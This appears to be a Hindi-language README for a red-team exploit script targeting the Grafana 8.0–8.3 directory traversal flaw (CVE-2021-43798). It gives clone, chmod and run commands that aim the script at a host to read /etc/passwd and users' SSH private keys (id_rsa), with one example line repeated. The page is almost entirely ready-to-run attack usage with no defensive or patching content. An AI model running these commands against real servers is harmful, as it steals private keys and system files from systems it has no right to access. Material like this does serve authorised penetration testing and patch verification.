
Grafana पर डायरेक्टरी ट्रैवर्सल और मनमानी फ़ाइल पढ़ना
Grafana पर डायरेक्टरी ट्रैवर्सल और मनमानी फ़ाइल पढ़ना
लेखक:
Wagner Alves - रेड टीम विश्लेषक
यह एक्सप्लॉइट Grafana 8.0 - 8.3 में डायरेक्टरी ट्रैवर्सल और मनमानी फ़ाइल पढ़ने की कमजोरियों का लाभ उठाता है, जिससे यह /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release और अन्य दिलचस्प फ़ाइलों को पढ़ सकता है।
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa